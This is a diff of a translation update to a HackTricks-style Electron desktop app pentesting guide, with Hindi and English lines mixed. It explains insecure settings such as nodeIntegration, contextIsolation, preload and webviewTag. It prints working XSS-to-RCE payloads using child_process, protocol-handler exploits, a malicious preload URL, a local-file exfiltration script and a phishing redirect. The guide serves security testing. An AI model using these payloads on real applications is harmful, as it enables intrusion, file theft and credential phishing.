mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
015ed4cf75
commit
9648afbcc6
@ -1,30 +1,30 @@
|
|||||||
# Electron Desktop Apps
|
# Electron डेस्कटॉप ऐप्स
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## परिचय
|
## परिचय
|
||||||
|
|
||||||
Electron स्थानीय backend (**NodeJS** के साथ) और frontend (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों की कुछ सुरक्षा तंत्रों की कमी होती है।
|
Electron एक स्थानीय backend (with **NodeJS**) और frontend (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ security mechanisms की कमी होती है।
|
||||||
|
|
||||||
आमतौर पर आप Electron app का कोड `.asar` एप्लिकेशन के अंदर पाएंगे; कोड प्राप्त करने के लिए आपको इसे extract करना होगा:
|
आम तौर पर आप electron app का code `.asar` application के अंदर पाएँगे; code प्राप्त करने के लिए आपको इसे extract करना होगा:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar destfolder #Extract everything
|
npx asar extract app.asar destfolder #Extract everything
|
||||||
npx asar extract-file app.asar main.js #Extract just a file
|
npx asar extract-file app.asar main.js #Extract just a file
|
||||||
```
|
```
|
||||||
Electron app के स्रोत कोड में, `packet.json` के अंदर, आप निर्दिष्ट `main.js` फ़ाइल पा सकते हैं जहाँ security configs सेट किए गए हैं।
|
Electron app के source code में, `packet.json` के अंदर आप `main.js` फ़ाइल पा सकते हैं जहाँ security configs सेट होते हैं।
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "standard-notes",
|
"name": "standard-notes",
|
||||||
"main": "./app/index.js",
|
"main": "./app/index.js",
|
||||||
```
|
```
|
||||||
Electron के 2 प्रकार के प्रोसेस हैं:
|
Electron में 2 process प्रकार हैं:
|
||||||
|
|
||||||
- Main Process (NodeJS तक पूर्ण पहुँच है)
|
- Main Process (NodeJS तक पूर्ण पहुँच)
|
||||||
- Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए)
|
- Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
एक **renderer process** ब्राउज़र विंडो होगी जो एक फाइल लोड करेगी:
|
एक **renderer process** एक ब्राउज़र विंडो होगा जो एक फ़ाइल लोड करेगा:
|
||||||
```javascript
|
```javascript
|
||||||
const { BrowserWindow } = require("electron")
|
const { BrowserWindow } = require("electron")
|
||||||
let win = new BrowserWindow()
|
let win = new BrowserWindow()
|
||||||
@ -32,35 +32,20 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
main.js फ़ाइल के अंदर **main process** में **renderer process** की Settings **configured** की जा सकती हैं। कुछ configurations सही तरीके से सेट होने पर यह **Electron application** को RCE या अन्य vulnerabilities मिलने से रोक सकती हैं अगर **settings are correctly configured**।
|
||||||
|
|
||||||
main.js फ़ाइल के अंदर **main process** में **renderer process** की सेटिंग्स **configured** की जा सकती हैं। अगर ये सेटिंग्स सही तरीके से कॉन्फ़िगर की गई हों तो इनमें से कुछ कॉन्फ़िगरेशन Electron application को RCE या अन्य vulnerabilities आने से रोक सकती हैं।
|
Electron application Node apis के माध्यम से डिवाइस तक एक्सेस कर सकती है, हालांकि इसे रोकने के लिए configure किया जा सकता है:
|
||||||
|
|
||||||
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` होता है। अगर `on` है, तो यह renderer process से node features तक access करने की अनुमति देता है।
|
||||||
|
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` होता है। अगर `off` है, तो main और renderer processes isolated नहीं रहते।
|
||||||
Electron application Node apis के माध्यम से डिवाइस तक पहुँच सकती है, हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
|
- **`preload`** - डिफ़ॉल्ट रूप से empty रहता है।
|
||||||
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से off है। यह NodeJS द्वारा किए जा सकने वाले actions को सीमित करेगा।
|
||||||
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
|
||||||
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
|
|
||||||
- **`preload`** - empty by default.
|
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
|
||||||
- Node Integration in Workers
|
- Node Integration in Workers
|
||||||
- **`nodeIntegrationInSubframes`**- is `off` by default.
|
- **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` होता है।
|
||||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
- अगर **`nodeIntegration`** **enabled** है, तो यह Electron application के भीतर उन web pages में, जो **loaded in iframes** हैं, **Node.js APIs** के उपयोग की अनुमति देगा।
|
||||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
- अगर **`nodeIntegration`** **disabled** है, तो preloads iframe में लोड होंगे
|
||||||
|
|
||||||
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि `on` है, तो renderer process से node फीचर्स तक पहुँचने की अनुमति देता है।
|
|
||||||
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि `off` है, तो main और renderer processes अलग-थलग नहीं रहते।
|
|
||||||
- **`preload`** - डिफ़ॉल्ट रूप से खाली है।
|
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से `off` है। यह NodeJS द्वारा किए जा सकने वाले actions को प्रतिबंधित करेगा।
|
|
||||||
- Workers में Node Integration
|
|
||||||
- **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` है।
|
|
||||||
- यदि **`nodeIntegration`** **enabled** है, तो यह Electron application के अंदर iframes में लोड किए गए वेब पेजों में **Node.js APIs** के उपयोग की अनुमति देगा।
|
|
||||||
- यदि **`nodeIntegration`** **disabled** है, तो preload स्क्रिप्ट्स iframe में लोड होंगे।
|
|
||||||
|
|
||||||
Example of configuration:
|
Example of configuration:
|
||||||
|
|
||||||
कॉन्फ़िगरेशन का उदाहरण:
|
|
||||||
```javascript
|
```javascript
|
||||||
const mainWindowOptions = {
|
const mainWindowOptions = {
|
||||||
title: "Discord",
|
title: "Discord",
|
||||||
@ -86,7 +71,7 @@ spellcheck: true,
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
कुछ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) से:
|
कुछ **RCE payloads** से [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||||
```html
|
```html
|
||||||
Example Payloads (Windows):
|
Example Payloads (Windows):
|
||||||
<img
|
<img
|
||||||
@ -110,16 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
|||||||
src="x"
|
src="x"
|
||||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||||
```
|
```
|
||||||
### ट्रैफ़िक कैप्चर
|
### ट्रैफ़िक कैप्चर करें
|
||||||
|
|
||||||
start-main कॉन्फ़िगरेशन को संशोधित करें और निम्नलिखित जैसे proxy का उपयोग जोड़ें:
|
start-main कॉन्फ़िगरेशन को संशोधित करें और किसी proxy का उपयोग जोड़ें, जैसे:
|
||||||
```javascript
|
```javascript
|
||||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||||
```
|
```
|
||||||
## Electron Local Code Injection
|
## Electron Local Code Injection
|
||||||
|
|
||||||
यदि आप स्थानीय रूप से किसी Electron App को चला सकते हैं, तो संभव है कि आप इसे मनमाना javascript code निष्पादित करने के लिए मजबूर कर सकें। इसके बारे में देखें:
|
यदि आप स्थानीय रूप से एक Electron App चला सकते हैं, तो संभव है कि आप इसे मनमाना javascript code निष्पादित करने के लिए मजबूर कर सकें। यह कैसे देखें:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||||
@ -127,7 +111,7 @@ start-main कॉन्फ़िगरेशन को संशोधित क
|
|||||||
|
|
||||||
## RCE: XSS + nodeIntegration
|
## RCE: XSS + nodeIntegration
|
||||||
|
|
||||||
यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript सिर्फ `require()` कॉल करके आसानी से Node.js फीचर्स का उपयोग कर सकता है। उदाहरण के लिए, Windows पर calc application को चलाने का तरीका है:
|
यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript `require()` को कॉल करके आसानी से Node.js फीचर्स का उपयोग कर सकता है। उदाहरण के लिए, Windows पर calc application चलाने का तरीका है:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require("child_process").exec("calc")
|
require("child_process").exec("calc")
|
||||||
@ -139,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
|||||||
|
|
||||||
## RCE: preload
|
## RCE: preload
|
||||||
|
|
||||||
यह सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुँच** है:
|
इस सेटिंग में दर्शाई गई स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड** होती है, इसलिए इसके पास **Node APIs तक असीमित पहुँच** है:
|
||||||
```javascript
|
```javascript
|
||||||
new BrowserWindow{
|
new BrowserWindow{
|
||||||
webPreferences: {
|
webPreferences: {
|
||||||
@ -148,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
इसलिए, स्क्रिप्ट node-features को pages में निर्यात कर सकती है:
|
इसलिए, स्क्रिप्ट node-features को pages में export कर सकती है:
|
||||||
```javascript:preload.js
|
```javascript:preload.js
|
||||||
typeof require === "function"
|
typeof require === "function"
|
||||||
window.runCalc = function () {
|
window.runCalc = function () {
|
||||||
@ -168,13 +152,13 @@ runCalc()
|
|||||||
|
|
||||||
## RCE: XSS + contextIsolation
|
## RCE: XSS + contextIsolation
|
||||||
|
|
||||||
The _**contextIsolation**_ वेब पेज स्क्रिप्ट्स और Electron के internal JavaScript कोड के बीच **अलग किए गए contexts** पेश करता है ताकि प्रत्येक कोड की JavaScript execution एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को खत्म करने के लिए एक आवश्यक फीचर है।
|
The _**contextIsolation**_ वेब पेज स्क्रिप्ट्स और JavaScript Electron के आंतरिक कोड के बीच **अलग किए गए contexts** प्रस्तुत करता है ताकि हर कोड का JavaScript execution एक दूसरे को प्रभावित न करे। यह RCE की संभावना को खत्म करने के लिए एक आवश्यक फीचर है।
|
||||||
|
|
||||||
यदि contexts isolated नहीं हैं तो attacker कर सकता है:
|
If the contexts aren't isolated an attacker can:
|
||||||
|
|
||||||
1. Execute **renderer में arbitrary JavaScript** (XSS या external साइटों पर navigation)
|
1. **arbitrary JavaScript in renderer** चलाया जा सकता है (XSS या बाहरी साइटों पर नेविगेशन)
|
||||||
2. **preload या Electron internal code में उपयोग किए जाने वाले built-in method** को overwrite करना ताकि function पर control हासिल किया जा सके
|
2. **Overwrite the built-in method** जिसका इस्तेमाल preload या Electron के आंतरिक कोड में होता है ताकि फ़ंक्शन का नियंत्रण हासिल किया जा सके
|
||||||
3. **overwritten function** के उपयोग को **trigger** करना
|
3. **Trigger** करें **overwritten function** के उपयोग को
|
||||||
4. RCE?
|
4. RCE?
|
||||||
|
|
||||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||||
@ -194,36 +178,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
|||||||
electron-contextisolation-rce-via-ipc.md
|
electron-contextisolation-rce-via-ipc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Bypass click event
|
### क्लिक इवेंट बायपास करना
|
||||||
|
|
||||||
यदि link पर क्लिक करने पर कुछ restrictions लागू होते हैं, तो आप उन्हें नियमित left click की बजाय **middle click** करके bypass कर सकते हैं।
|
यदि किसी लिंक पर क्लिक करने पर प्रतिबंध लागू होते हैं तो आप उन्हें नियमित left click की बजाय **middle click** करके बायपास कर सकते हैं
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
## RCE के माध्यम से shell.openExternal
|
## RCE via shell.openExternal
|
||||||
|
|
||||||
इन उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
इन उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||||
|
|
||||||
Electron डेस्कटॉप एप्लिकेशन तैनात करते समय, `nodeIntegration` और `contextIsolation` के सही सेटिंग्स सुनिश्चित करना बहुत महत्वपूर्ण है। यह स्थापित है कि ये सेटिंग्स होने पर preload scripts या Electron के native code को main process से टार्गेट करने वाली **client-side remote code execution (RCE)** प्रभावी रूप से रोकी जाती है।
|
Electron डेस्कटॉप एप्लिकेशन को डिप्लॉय करते समय, `nodeIntegration` और `contextIsolation` के सही सेटिंग्स सुनिश्चित करना बहुत महत्वपूर्ण है। ये सेटिंग्स होने पर, main process से preload scripts या Electron के native code को लक्षित करने वाले **client-side remote code execution (RCE)** को प्रभावी ढंग से रोका जाता है।
|
||||||
|
|
||||||
जब उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नया विंडो खोलता है, तो कुछ विशेष event listeners ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
|
किसी user द्वारा links के साथ इंटरैक्ट करने या new windows खोलने पर, विशिष्ट event listeners ट्रिगर होते हैं, जो application's security और functionality के लिए महत्वपूर्ण हैं:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
ये listeners को डेस्कटॉप एप्लिकेशन द्वारा **ओवरराइड** किया जाता है ताकि इसका अपना **बिजनेस लॉजिक** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि नेविगेट की गई लिंक को आंतरिक रूप से खोलना चाहिए या किसी external वेब ब्राउज़र में। यह निर्णय आमतौर पर `openInternally` फ़ंक्शन के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका अर्थ है कि लिंक को बाहरी रूप से खोलना चाहिए, यानी `shell.openExternal` फ़ंक्शन का उपयोग किया जाएगा।
|
ये listeners डेस्कटॉप एप्लिकेशन द्वारा अपने स्वयं के **business logic** को लागू करने के लिए **ओवरराइड** किए जाते हैं। एप्लिकेशन यह मूल्यांकन करता है कि नेविगेट की गई लिंक को आंतरिक रूप से खोला जाना चाहिए या किसी बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally`, के जरिए लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका अर्थ है कि लिंक को बाहरी रूप से खोलना चाहिए, और इसके लिए `shell.openExternal` फ़ंक्शन का उपयोग किया जाता है।
|
||||||
|
|
||||||
**यहाँ एक सरलीकृत pseudocode है:**
|
**Here is a simplified pseudocode:**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Electron JS सुरक्षा सर्वोत्तम प्रथाएँ `openExternal` फ़ंक्शन के साथ अनविश्वसनीय कंटेंट स्वीकार करने के खिलाफ चेतावनी देती हैं, क्योंकि यह विभिन्न protocols के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न protocols को सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) देखें, जिसमें Windows protocol examples शामिल हैं जो इस vulnerability को exploit कर सकते हैं।
|
Electron JS security best practices अनट्रस्टेड कंटेंट को `openExternal` फ़ंक्शन के साथ स्वीकार करने के खिलाफ सलाह देती हैं, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, आप [यह स्रोत](https://positive.security/blog/url-open-rce#windows-10-19042) देख सकते हैं, जिसमें Windows प्रोटोकॉल के उदाहरण शामिल हैं जो इस vulnerability का शोषण कर सकते हैं।
|
||||||
|
|
||||||
macos में, `openExternal` फ़ंक्शन का exploit करके arbitrary commands execute किए जा सकते हैं, जैसे `shell.openExternal('file:///System/Applications/Calculator.app')`।
|
macos में, `openExternal` फ़ंक्शन का दुरुपयोग किसी भी मनमाने कमांड को निष्पादित करने के लिए किया जा सकता है, उदाहरण के लिए `shell.openExternal('file:///System/Applications/Calculator.app')`।
|
||||||
|
|
||||||
**Windows protocol exploits के उदाहरण शामिल हैं:**
|
**Examples of Windows protocol exploits include:**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open(
|
window.open(
|
||||||
@ -243,17 +227,17 @@ window.open(
|
|||||||
)
|
)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
## RCE: webviewTag + कमजोर preload IPC + shell.openExternal
|
||||||
|
|
||||||
यह कमज़ोरी **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाई जा सकती है।
|
यह vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाया जा सकता है।
|
||||||
|
|
||||||
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, and इसे अक्षम कर देना चाहिए क्योंकि यह preload context के अंदर एक script लोड करने की अनुमति देता है जैसा कि:
|
**webviewTag** एक **deprecated feature** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, इसलिए इसे निष्क्रिय कर देना चाहिए क्योंकि यह preload context के अंदर script लोड करने की अनुमति देता है, जैसे:
|
||||||
```xml
|
```xml
|
||||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||||
```
|
```
|
||||||
इसलिए, एक attacker जो किसी arbitrary पेज को लोड करने में सक्षम हो, वह उस tag का उपयोग करके **load an arbitrary preload script** कर सकता है।
|
इसलिए, एक attacker जो किसी arbitrary पेज को लोड करने में सफल होता है, वह उस tag का उपयोग कर **load an arbitrary preload script** कर सकता है।
|
||||||
|
|
||||||
इसके बाद इस preload script का दुरुपयोग कर एक **vulnerable IPC service (`skype-new-window`)** को कॉल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था:
|
यह preload script दुरुपयोग कर के एक **vulnerable IPC service (`skype-new-window`)** को कॉल करने के लिए इस्तेमाल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था:
|
||||||
```javascript
|
```javascript
|
||||||
(async() => {
|
(async() => {
|
||||||
const { ipcRenderer } = require("electron");
|
const { ipcRenderer } = require("electron");
|
||||||
@ -264,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
|||||||
}, 5000);
|
}, 5000);
|
||||||
})();
|
})();
|
||||||
```
|
```
|
||||||
## आंतरिक फाइलें पढ़ना: XSS + contextIsolation
|
## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation
|
||||||
|
|
||||||
**`contextIsolation` को अक्षम करने से `<webview>` टैग्स का उपयोग संभव हो जाता है**, `<iframe>` के समान, स्थानीय फाइलों को पढ़ने और exfiltrating के लिए। दिया गया उदाहरण दिखाता है कि इस vulnerability का exploit करके आंतरिक फाइलों की सामग्री कैसे पढ़ी जा सकती है:
|
**`contextIsolation` को अक्षम करने से `<webview>` टैग्स का उपयोग संभव हो जाता है**, `<iframe>` की तरह, स्थानीय फ़ाइलों को पढ़ने और exfiltrating करने के लिए। नीचे दिया गया उदाहरण दिखाता है कि इस vulnerability का उपयोग करके आंतरिक फ़ाइलों की सामग्री कैसे पढ़ी जा सकती है:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
इसके अलावा, आंतरिक फ़ाइल पढ़ने का एक और तरीका साझा किया गया है, जो Electron desktop app में एक गंभीर local file read vulnerability को उजागर करता है। यह ऐप्लिकेशन को exploit करने और data को exfiltrate करने के लिए एक script inject करने में शामिल है:
|
इसके अलावा, **आंतरिक फ़ाइल पढ़ने** की एक और विधि साझा की गई है, जो Electron desktop app में एक गंभीर local file read vulnerability को उजागर करती है। इसमें application को exploit करने और डेटा को exfiltrate करने के लिए एक script inject करना शामिल है:
|
||||||
```html
|
```html
|
||||||
<br /><br /><br /><br />
|
<br /><br /><br /><br />
|
||||||
<h1>
|
<h1>
|
||||||
@ -286,16 +270,16 @@ frames[0].document.body.innerText
|
|||||||
</script>
|
</script>
|
||||||
</h1>
|
</h1>
|
||||||
```
|
```
|
||||||
## **RCE: XSS + Old Chromium**
|
## **RCE: XSS + पुराना chromium**
|
||||||
|
|
||||||
यदि एप्लिकेशन द्वारा उपयोग किया गया **chromium** **old** है और उस पर **known** **vulnerabilities** मौजूद हैं, तो इसे **exploit it and obtain RCE through a XSS** करना संभव हो सकता है。\
|
यदि एप्लिकेशन द्वारा उपयोग किया गया **chromium** **old** है और उस पर **known** **vulnerabilities** मौजूद हैं, तो उसे **exploit** करके और XSS के माध्यम से **RCE** हासिल करना संभव हो सकता है।\
|
||||||
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
आप इसका एक उदाहरण इस **writeup** में देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **XSS Phishing via Internal URL regex bypass**
|
## **XSS Phishing के माध्यम से Internal URL regex bypass**
|
||||||
|
|
||||||
मान लीजिए आपने XSS ढूंढ लिया है पर आप **cannot trigger RCE or steal internal files**, तो आप इसे **steal credentials via phishing** के लिए इस्तेमाल करने की कोशिश कर सकते हैं।
|
मान लीजिए आपने एक XSS पाया है पर आप **cannot trigger RCE or steal internal files** नहीं कर पा रहे हैं, तो आप इसे **steal credentials via phishing** के लिए इस्तेमाल कर सकते हैं।
|
||||||
|
|
||||||
सबसे पहले आपको यह जानना होगा कि जब आप कोई नया URL खोलने की कोशिश करते हैं तो क्या होता है — इसके लिए front-end में JS code की जांच करें:
|
सबसे पहले आपको यह जानना होगा कि जब आप नया URL खोलने की कोशिश करते हैं तब क्या होता है — इसके लिए front-end के JS code को चेक करें:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||||
@ -303,6 +287,10 @@ webContents.on("will-navigate", function (event, url) {} // o
|
|||||||
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
||||||
|
|
||||||
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
|
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
|
||||||
|
|
||||||
|
The call to **`openInternally`** यह तय करेगा कि **link** प्लेटफ़ॉर्म का होने के कारण **desktop window** में **opened** होगा या **browser as a 3rd party resource** में खोला जाएगा।
|
||||||
|
|
||||||
|
यदि फंक्शन द्वारा उपयोग किया गया **regex** **vulnerable to bypasses** है (उदाहरण के लिए **not escaping the dots of subdomains**), तो एक attacker XSS का दुरुपयोग कर सकता है और **open a new window which** attackers infrastructure में स्थित होगा और user से **asking for credentials** करेगा:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
@ -310,17 +298,17 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
|||||||
```
|
```
|
||||||
## `file://` प्रोटोकॉल
|
## `file://` प्रोटोकॉल
|
||||||
|
|
||||||
जैसा कि [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) में बताया गया है, **`file://`** पर चलने वाले पेजों को आपकी मशीन की हर फ़ाइल तक एकतरफा पहुँच मिलती है, जिसका अर्थ है कि **XSS issues can be used to load arbitrary files**। एक **custom protocol** का उपयोग ऐसी समस्याओं को रोकता है क्योंकि आप प्रोटोकॉल को केवल एक विशेष फ़ाइल सेट सर्व करने तक सीमित कर सकते हैं।
|
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** को आपके मशीन की हर फ़ाइल तक एकतरफ़ा पहुँच होती है, जिसका मतलब है कि **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** ऐसे मामलों को रोकता है क्योंकि आप प्रोटोकॉल को केवल एक निश्चित फ़ाइल सेट ही सर्व करने तक सीमित कर सकते हैं।
|
||||||
|
|
||||||
## Remote module
|
## Remote module
|
||||||
|
|
||||||
Electron Remote module अनुमति देता है कि **renderer processes to access main process APIs**, जिससे Electron एप्लिकेशन के भीतर संचार सुगम होता है। हालांकि, इस मॉड्यूल को सक्षम करने से महत्वपूर्ण सुरक्षा जोखिम उत्पन्न होते हैं। यह एप्लिकेशन के attack surface का विस्तार करता है, जिससे यह cross-site scripting (XSS) जैसे vulnerabilities के प्रति अधिक संवेदनशील हो जाता है।
|
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. यह एप्लिकेशन के attack surface को बढ़ा देता है, जिससे यह cross-site scripting (XSS) attacks जैसे vulnerabilities के प्रति अधिक संवेदनशील बन जाता है।
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> हालाँकि **remote** module main से renderer processes को कुछ APIs expose करता है, केवल इन components का दुरुपयोग करके सीधे RCE प्राप्त करना आसान नहीं है। हालाँकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
|
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. हालांकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> कई ऐप्स जो अभी भी remote module का उपयोग करते हैं, वे इसे इस तरह करते हैं कि **require NodeIntegration to be enabled** in the renderer process, जो कि एक **huge security risk** है।
|
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||||||
|
|
||||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||||
|
|
||||||
@ -335,39 +323,39 @@ mainWindow = new BrowserWindow({
|
|||||||
})
|
})
|
||||||
remoteMain.enable(mainWindow.webContents)
|
remoteMain.enable(mainWindow.webContents)
|
||||||
```
|
```
|
